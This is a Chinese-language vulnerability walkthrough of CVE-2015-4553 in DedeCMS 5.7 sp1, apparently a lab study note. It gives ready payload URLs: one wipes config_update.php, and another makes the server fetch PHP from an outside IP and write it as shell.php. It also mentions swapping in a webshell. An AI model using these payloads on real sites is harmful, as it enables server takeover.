# CVE-2015-4553 (DedeCMS 5.7 sp1遠程文件包含漏洞) ###### tags: `CVE` `DedeCMS` 這個洞也是基於 apache 解析漏洞,跟上次的重裝漏洞一樣,只不過利用的code區塊不一樣,這次被改為寫入shell 複習: ```php= <?php echo "123" ;?> ``` 存成 test.php // 解釋為php 存成 test.txt // 解釋為txt 存成 test.php.bak // 不認識bak 所以解析為php ### 檔案:dedecms\install\index.php.bak 這行導致了可以_GET _POST _COOKIE 任意覆寫變數 (之前講過) ```php= foreach(Array('_GET','_POST','_COOKIE') as $_request) { foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v); } ``` 這次利用點在這裡 ```php= else if($step==11) { require_once('../data/admin/config_update.php'); $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt"; $sql_content = file_get_contents($rmurl); $fp = fopen($install_demo_name,'w'); if(fwrite($fp,$sql_content)) echo '&nbsp; <font color="green">[¡Ì]</font> ´æÔÚ(Äú¿ÉÒÔÑ¡Ôñ°²×°½øÐÐÌåÑé)'; else echo '&nbsp; <font color="red">[¡Á]</font> Ô¶³Ì»ñȡʧ°Ü'; unset($sql_content); fclose($fp); exit(); } ``` 看到 require_once('../data/admin/config_update.php') ../data/admin/config_update.php 很簡單,就兩個變數 ```php= $updateHost = 'http://updatenew.dedecms.com/base-v57/'; $linkHost = 'http://flink.dedecms.com/server_url.php'; ``` 所以可以看成: ```php= <?php else if($step==11) { //////////// $updateHost = 'http://updatenew.dedecms.com/base-v57/'; $linkHost = 'http://flink.dedecms.com/server_url.php'; //////////// $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt"; $sql_content = file_get_contents($rmurl); $fp = fopen($install_demo_name,'w'); if(fwrite($fp,$sql_content)) echo '&nbsp; <font color="green">[¡Ì]</font> ´æÔÚ(Äú¿ÉÒÔÑ¡Ôñ°²×°½øÐÐÌåÑé)'; else echo '&nbsp; <font color="red">[¡Á]</font> Ô¶³Ì»ñȡʧ°Ü'; unset($sql_content); fclose($fp); exit(); } ?> ``` 我們的變數覆寫發生在開頭,走到這很多變數都會被重新覆值 關鍵1 覆蓋$s_lang: ``` $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt"; //$rmurl http://updatenew.dedecms.com/base-v57/dedecms/demodata{$s_lang}.txt 一開頭定義是$s_lang = 'gb2312'; 我們改寫為 $s_lang = '1111' 如此一來$rmurl 變成了一個不存在的檔案 http://updatenew.dedecms.com/base-v57/dedecms/demodata1111.txt ``` 關鍵2 覆蓋$install_demo_name變數: ``` $fp = fopen($install_demo_name,'w'); $install_demo_name 我們把它覆蓋為 ../data/admin/config_update.php //也就是說他會打開 ../data/admin/config_update.php ``` 所以整段代碼行為變成: 1 打開 ../data/admin/config_update.php 2 寫入遠程不存在檔案 http://updatenew.dedecms.com/base-v57/dedecms/demodata1111.txt 3 由於 fopen 參數 "w" (寫入方式打開,清除文件內容,如果文件不存在則嘗試創建之) 4 \.\./data/admin/config_update.php 變成空 payload: ``` http://localhost/install/index.php.bak?step=11&s_lang=1111&install_demo_name=../data/admin/config_update.php&insLockfile=test ``` 執行完後 dedecms\data\admin\config_update.php 這個檔案變成空 所以再看一次 ```php= <?php else if($step==11) { //////////// require_once('../data/admin/config_update.php'); //沒東西 //////////// $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt"; $sql_content = file_get_contents($rmurl); $fp = fopen($install_demo_name,'w'); if(fwrite($fp,$sql_content)) echo '&nbsp; <font color="green">[¡Ì]</font> ´æÔÚ(Äú¿ÉÒÔÑ¡Ôñ°²×°½øÐÐÌåÑé)'; else echo '&nbsp; <font color="red">[¡Á]</font> Ô¶³Ì»ñȡʧ°Ü'; unset($sql_content); fclose($fp); exit(); } ?> ``` 如此一來更好用了,$updateHost 也可以覆蓋了 構造以下payload ``` http://localhost/install/index.php.bak?step=11&s_lang=hack&install_demo_name=../shell.php&insLockfile=test&updateHost=http://192.168.50.93/ install_demo_name=../shell.php //代表開啟檔名為../shell.php updateHost=http://192.168.50.93/ //竄改updateHost _lang=hack //最後會變成http://192.168.50.93/dedecms/demodata.hack.txt ``` 我們在遠端創建一個dedecms資料夾裡面創建一個demodata.hack.txt (dedecms/demodata.xxx.txt檔名路徑被寫死所以必須加上) http://192.168.50.93/dedecms/demodatahack.txt ``` <?php phpinfo();?> ``` ### 執行完後: 出現[√] 存在(您可以选择安装进行体验) 代表成功了。 這時你已經上傳了一個 \dedecms\shell.php 當然phpinfo 也可以換成一句話木馬。